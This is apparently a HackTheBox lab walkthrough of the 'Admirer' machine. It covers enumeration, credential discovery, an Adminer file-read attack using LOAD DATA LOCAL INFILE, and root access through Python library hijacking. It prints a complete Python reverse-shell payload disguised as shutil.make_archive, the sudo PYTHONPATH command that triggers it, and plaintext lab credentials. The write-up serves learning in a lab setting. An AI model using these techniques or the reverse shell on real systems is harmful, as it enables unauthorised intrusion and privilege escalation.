HackTheBox - Admirer
0. Preface
This box is pretty frustrating due to the amount of rabbit holes I got stuck in, but at least I learnt something new from this. Moral of the story - don’t always rely on one tool or wordlist.
In this box, we will be tackling:
- Getting stuck in rabbit holes.
- Exploiting Adminer
- Hijacking Python libraries
1. Preliminary NMAP Scan
sudo nmap -sC -sV -oN nmap.txt 10.10.10.187 -v
Only ports 21, 22 and 80 are open. Let’s first check out the web server.
2. Web Server Enumeration #1
Seems like a gallery. Let’s see what we can enumerate from this.
Looking in the robots.txt
file, we see that there is an entry to disallow robots from crawling /admin-dir/
.
Trying to access the page gives us a 403, so let’s run gobuster
on it. Notice from robots.txt
that this folder contains “personal contacts and creds”. Let’s use gobuster
on /admin-dir/
, with the .txt
extension to also look for text files.
gobuster dir -u admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt
And we found something. Let’s take a look at those files.
Seems like we got credentials to FTP, using ftpuser:%n?4Wz}R$tTF7
.
3. FTP Enumeration
Logging into the FTP server, we see two files in there. Let’s download both of them.
(🐇) We don’t really get much using strings
on dump.sql
. Moving on to the html.tar.gz
.
7z x html.tar.gz
7z x html.tar
Let’s do some more enumeration on the files inside. There’s tons to go through.
(kinda 🐇) Looking in index.php
we get what looks like database credentials to a mysql database.
(🐇) Looking in /w4ld0s_s3cr3t_d1r/credentials.txt
, we get another bunch of credentials. Looks similar to the credentials.txt
we found on the server earlier.
(kinda 🐇) Looking in /utility-scripts/db_admin.php
, we get more database credentials and a note that says to find a “better open source alternative”.
4. Web Server Enumeration #2
(🐇) Let’s next try to access the utility-scripts
directory on the web server to see if it exists.
(🐇) Then, try to access info.php
. We get phpinfo()
. From here, we can see that the webserver is running Apache2, PHP 7.0.33.
(🐇) Moving on to admin_tasks.php
, we get something that allows us to run remote scripts on the server. (🐇🐇🐇🐇🐇🐇🐇🐇)
Stuck at this point, I even tried to SSH to the server using the ftpuser
credentials we found earlier.
After a lot of hints from the HTB forums I found Adminer running on the server.
5. Exploiting Adminer
Googling for Adminer netted us an exploit. This allows us to read files on the server where Adminer is installed. Let’s set up the exploit.
We need a MariaDB/MySQL instance for this to work. Fortunately, MariaDB already comes preinstalled on Kali. Spin it up using systemctl start mariadb
, then sudo mariadb
or sudo mysql
to access it.
Note: I had to reinstall MariaDB entirely because it wasn’t starting up at all.
Inside the database, create a new user that is allowed to login from anywhere and grant it privileges to access everything.
CREATE USER 'kali'@'%' IDENTIFIED BY '<PASSWORD>';
GRANT ALL PRIVILEGES ON * . * TO 'kali'@'%';
FLUSH PRIVILEGES;
Next, we need to allow external connections to our MariaDB instance. By default, MariaDB only listens on 127.0.0.1:3306
.
Open /etc/mysql/mariadb.conf.d/50-server.cnf
with a text editor, then change the bind-address
value to 0.0.0.0
.
Restart MariaDB using sudo systemctl restart mariadb
, then check that server is listening on 0.0.0.0:3306
using netstat -antp | grep 3306
Back to Adminer, login to Kali’s MariaDB server using the user created earlier.
Next, create a new database.
Recall previously in the FTP directory that we found the index.php
file with a MySQL username and password?
Let’s try to read the live version of that file.
First, we need to start a Wireshark session capturing on the HTB VPN tunnel.
Then back on Adminer, run the following commands to try to insert index.php
into the database we created.
LOAD DATA LOCAL INFILE '/var/www/html/index.php'
INTO TABLE testdb.test
FIELDS TERMINATED BY "\n"
Once done, we see some traffic on WireShark from the remote server. We follow each TCP stream until we find the TCP stream for index.php
.
We got our next set of credentials: waldo:&<h5b~yK3F#{PaPB&dA}{H>
Let’s SSH to the server and grab the user flag.
6. Python Library Hijacking and Root
Now, let’s start to enumerate. Running sudo -l
, we see that waldo
is able to set environment variables while running /opt/scripts/admin_tasks.sh
as the root user.
Looking at the admin_tasks.sh
script, we see that it calls for a backup.py
script in the same directory.
Let’s take a closer look at backup.py
.
After a bit of searching, I managed to find this blog post explaining Python library hijacking, as well as this Medium article (specifically Scenario 3) explaining how to do it in more detail.
To exploit this, we need to create a script named shutil.py
in a directory, and set the $PYTHONPATH
environment variable to point to this directory instead of the real Python directory.
Our script will look like this:
#!/usr/bin/python3
import os
import pty
import socket
lhost = "10.10.14.43"
lport = 8888
def make_archive(a,b,c):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
To roughly break down how this works:
backup.py
will import a function calledmake_archive()
from a python module namedshutil
.- As the
make_archive()
inbackup.py
requires three arguments, ourmake_archive()
will also need to have three (dummy) arguments. - Once
backup.py
calls for themake_archive()
function and is redirected here, a reverse shell will run connecting back to our Kali machine.
Do remember to replace the lhost
and lport
with the correct IP addresses/port number for the reverse shell.
Now, we can set the $PYTHONPATH
environment variable to point to waldo
’s home directory, and run admin_tasks.sh
. Select option 6 to run the backup.py
script.
sudo PYTHONPATH=/home/waldo/ /opt/scripts/admin_tasks.sh
And we got root.